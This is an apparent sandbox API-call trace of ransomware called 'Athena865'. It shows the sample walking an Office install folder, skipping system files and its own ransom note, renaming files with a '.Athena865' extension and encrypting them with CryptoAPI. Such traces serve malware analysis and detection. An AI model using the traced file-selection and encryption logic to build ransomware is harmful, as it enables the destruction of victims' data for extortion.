dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.180] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=758648) returned 1 [0147.181] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.181] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.181] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.181] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb9680, lpName=0x0) returned 0x154 [0147.183] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb9680) returned 0x2bb0000 [0147.206] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.207] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.207] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.216] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bb60400, ftCreationTime.dwHighDateTime=0x1cac1e7, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bb60400, ftLastWriteTime.dwHighDateTime=0x1cac1e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISINTL.DLL.IDX_DLL", cAlternateFileName="VISINT~1.IDX")) returned 1 [0147.216] lstrcmpiW (lpString1="VISINTL.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.216] lstrcmpiW (lpString1="VISINTL.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.217] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISINTL.DLL.IDX_DLL" | out: lpString1="VISINTL.DLL.IDX_DLL") returned="VISINTL.DLL.IDX_DLL" [0147.217] lstrlenW (lpString="VISINTL.DLL.IDX_DLL") returned 19 [0147.217] lstrlenW (lpString="Athena865") returned 9 [0147.217] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0147.217] lstrlenW (lpString=".dll") returned 4 [0147.217] lstrcmpiW (lpString1="VISINTL.DLL.IDX_DLL", lpString2=".dll") returned 1 [0147.217] lstrlenW (lpString=".lnk") returned 4 [0147.217] lstrcmpiW (lpString1="VISINTL.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0147.217] lstrlenW (lpString=".ini") returned 4 [0147.217] lstrcmpiW (lpString1="VISINTL.DLL.IDX_DLL", lpString2=".ini") returned 1 [0147.217] lstrlenW (lpString=".sys") returned 4 [0147.217] lstrcmpiW (lpString1="VISINTL.DLL.IDX_DLL", lpString2=".sys") returned 1 [0147.217] lstrlenW (lpString="VISINTL.DLL.IDX_DLL") returned 19 [0147.217] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.Athena865") returned 77 [0147.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0147.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.219] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=240000) returned 1 [0147.219] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.220] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.220] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.221] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ac80, lpName=0x0) returned 0x154 [0147.222] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ac80) returned 0x170000 [0147.232] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.232] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.232] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.237] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.CSS", cAlternateFileName="")) returned 1 [0147.238] lstrcmpiW (lpString1="VISIO.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.238] lstrcmpiW (lpString1="VISIO.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.238] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO.CSS" | out: lpString1="VISIO.CSS") returned="VISIO.CSS" [0147.238] lstrlenW (lpString="VISIO.CSS") returned 9 [0147.238] lstrlenW (lpString="Athena865") returned 9 [0147.238] lstrlenW (lpString=".dll") returned 4 [0147.238] lstrcmpiW (lpString1="VISIO.CSS", lpString2=".dll") returned 1 [0147.238] lstrlenW (lpString=".lnk") returned 4 [0147.238] lstrcmpiW (lpString1="VISIO.CSS", lpString2=".lnk") returned 1 [0147.238] lstrlenW (lpString=".ini") returned 4 [0147.238] lstrcmpiW (lpString1="VISIO.CSS", lpString2=".ini") returned 1 [0147.238] lstrlenW (lpString=".sys") returned 4 [0147.238] lstrcmpiW (lpString1="VISIO.CSS", lpString2=".sys") returned 1 [0147.238] lstrlenW (lpString="VISIO.CSS") returned 9 [0147.238] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS.Athena865") returned 67 [0147.238] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css.athena865"), dwFlags=0x1) returned 1 [0147.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.240] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0147.240] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.241] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.241] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.241] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x154 [0147.242] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0147.245] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.245] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.245] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.246] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94d40e00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x94d40e00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x588a20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.DEV.HXS", cAlternateFileName="VISIOD~1.HXS")) returned 1 [0147.246] lstrcmpiW (lpString1="VISIO.DEV.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.246] lstrcmpiW (lpString1="VISIO.DEV.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.246] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO.DEV.HXS" | out: lpString1="VISIO.DEV.HXS") returned="VISIO.DEV.HXS" [0147.246] lstrlenW (lpString="VISIO.DEV.HXS") returned 13 [0147.246] lstrlenW (lpString="Athena865") returned 9 [0147.246] lstrcmpiW (lpString1="O.DEV.HXS", lpString2="Athena865") returned 1 [0147.246] lstrlenW (lpString=".dll") returned 4 [0147.246] lstrcmpiW (lpString1="VISIO.DEV.HXS", lpString2=".dll") returned 1 [0147.246] lstrlenW (lpString=".lnk") returned 4 [0147.246] lstrcmpiW (lpString1="VISIO.DEV.HXS", lpString2=".lnk") returned 1 [0147.246] lstrlenW (lpString=".ini") returned 4 [0147.246] lstrcmpiW (lpString1="VISIO.DEV.HXS", lpString2=".ini") returned 1 [0147.246] lstrlenW (lpString=".sys") returned 4 [0147.247] lstrcmpiW (lpString1="VISIO.DEV.HXS", lpString2=".sys") returned 1 [0147.247] lstrlenW (lpString="VISIO.DEV.HXS") returned 13 [0147.247] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.Athena865") returned 71 [0147.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.athena865"), dwFlags=0x1) returned 1 [0147.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.248] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5802528) returned 1 [0147.249] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.249] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.249] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.249] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x588d20, lpName=0x0) returned 0x154 [0147.251] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x188d20) returned 0x2bb0000 [0147.465] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.466] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.466] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.498] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.DEV_COL.HXC", cAlternateFileName="VISIOD~1.HXC")) returned 1 [0147.498] lstrcmpiW (lpString1="VISIO.DEV_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.498] lstrcmpiW (lpString1="VISIO.DEV_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.498] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO.DEV_COL.HXC" | out: lpString1="VISIO.DEV_COL.HXC") returned="VISIO.DEV_COL.HXC" [0147.498] lstrlenW (lpString="VISIO.DEV_COL.HXC") returned 17 [0147.498] lstrlenW (lpString="Athena865") returned 9 [0147.498] lstrcmpiW (lpString1="V_COL.HXC", lpString2="Athena865") returned 1 [0147.498] lstrlenW (lpString=".dll") returned 4 [0147.498] lstrcmpiW (lpString1="VISIO.DEV_COL.HXC", lpString2=".dll") returned 1 [0147.498] lstrlenW (lpString=".lnk") returned 4 [0147.499] lstrcmpiW (lpString1="VISIO.DEV_COL.HXC", lpString2=".lnk") returned 1 [0147.499] lstrlenW (lpString=".ini") returned 4 [0147.499] lstrcmpiW (lpString1="VISIO.DEV_COL.HXC", lpString2=".ini") returned 1 [0147.499] lstrlenW (lpString=".sys") returned 4 [0147.499] lstrcmpiW (lpString1="VISIO.DEV_COL.HXC", lpString2=".sys") returned 1 [0147.499] lstrlenW (lpString="VISIO.DEV_COL.HXC") returned 17 [0147.499] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.Athena865") returned 75 [0147.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.athena865"), dwFlags=0x1) returned 1 [0147.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.502] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=641) returned 1 [0147.502] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.503] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.503] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.503] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x154 [0147.504] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000 [0147.509] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.510] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.510] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.511] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62cf1400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x62cf1400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.DEV_COL.HXT", cAlternateFileName="VISIOD~1.HXT")) returned 1 [0147.511] lstrcmpiW (lpString1="VISIO.DEV_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.511] lstrcmpiW (lpString1="VISIO.DEV_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.511] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO.DEV_COL.HXT" | out: lpString1="VISIO.DEV_COL.HXT") returned="VISIO.DEV_COL.HXT" [0147.511] lstrlenW (lpString="VISIO.DEV_COL.HXT") returned 17 [0147.511] lstrlenW (lpString="Athena865") returned 9 [0147.511] lstrcmpiW (lpString1="V_COL.HXT", lpString2="Athena865") returned 1 [0147.511] lstrlenW (lpString=".dll") returned 4 [0147.511] lstrcmpiW (lpString1="VISIO.DEV_COL.HXT", lpString2=".dll") returned 1 [0147.511] lstrlenW (lpString=".lnk") returned 4 [0147.511] lstrcmpiW (lpString1="VISIO.DEV_COL.HXT", lpString2=".lnk") returned 1 [0147.511] lstrlenW (lpString=".ini") returned 4 [0147.511] lstrcmpiW (lpString1="VISIO.DEV_COL.HXT", lpString2=".ini") returned 1 [0147.511] lstrlenW (lpString=".sys") returned 4 [0147.511] lstrcmpiW (lpString1="VISIO.DEV_COL.HXT", lpString2=".sys") returned 1 [0147.511] lstrlenW (lpString="VISIO.DEV_COL.HXT") returned 17 [0147.511] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.Athena865") returned 75 [0147.511] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.athena865"), dwFlags=0x1) returned 1 [0147.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.513] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=209) returned 1 [0147.513] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.514] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.514] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.514] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x154 [0147.521] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0147.523] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.524] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.524] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.524] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62cf1400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x62cf1400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.DEV_F_COL.HXK", cAlternateFileName="VISIOD~1.HXK")) returned 1 [0147.524] lstrcmpiW (lpString1="VISIO.DEV_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.524] lstrcmpiW (lpString1="VISIO.DEV_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.525] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO.DEV_F_COL.HXK" | out: lpString1="VISIO.DEV_F_COL.HXK") returned="VISIO.DEV_F_COL.HXK" [0147.525] lstrlenW (lpString="VISIO.DEV_F_COL.HXK") returned 19 [0147.525] lstrlenW (lpString="Athena865") returned 9 [0147.525] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0147.525] lstrlenW (lpString=".dll") returned 4 [0147.525] lstrcmpiW (lpString1="VISIO.DEV_F_COL.HXK", lpString2=".dll") returned 1 [0147.525] lstrlenW (lpString=".lnk") returned 4 [0147.525] lstrcmpiW (lpString1="VISIO.DEV_F_COL.HXK", lpString2=".lnk") returned 1 [0147.525] lstrlenW (lpString=".ini") returned 4 [0147.525] lstrcmpiW (lpString1="VISIO.DEV_F_COL.HXK", lpString2=".ini") returned 1 [0147.525] lstrlenW (lpString=".sys") returned 4 [0147.525] lstrcmpiW (lpString1="VISIO.DEV_F_COL.HXK", lpString2=".sys") returned 1 [0147.525] lstrlenW (lpString="VISIO.DEV_F_COL.HXK") returned 19 [0147.525] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.Athena865") returned 77 [0147.525] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0147.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.527] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0147.527] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.528] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.528] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.528] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0147.532] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0147.533] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.533] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.533] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.534] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62cf1400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x62cf1400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.DEV_K_COL.HXK", cAlternateFileName="VISIOD~2.HXK")) returned 1 [0147.534] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.534] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.534] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2=".") returned 1 [0147.534] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2="..") returned 1 [0147.534] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2="windows") returned -1 [0147.534] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2="bootmgr") returned 1 [0147.534] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2="temp") returned 1 [0147.534] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2="pagefile.sys") returned 1 [0147.534] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2="boot") returned 1 [0147.534] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2="ids.txt") returned 1 [0147.534] lstrcmpiW (lpString1="VISIO.DEV_K_COL.HXK", lpString2="ntuser.dat") returned 1 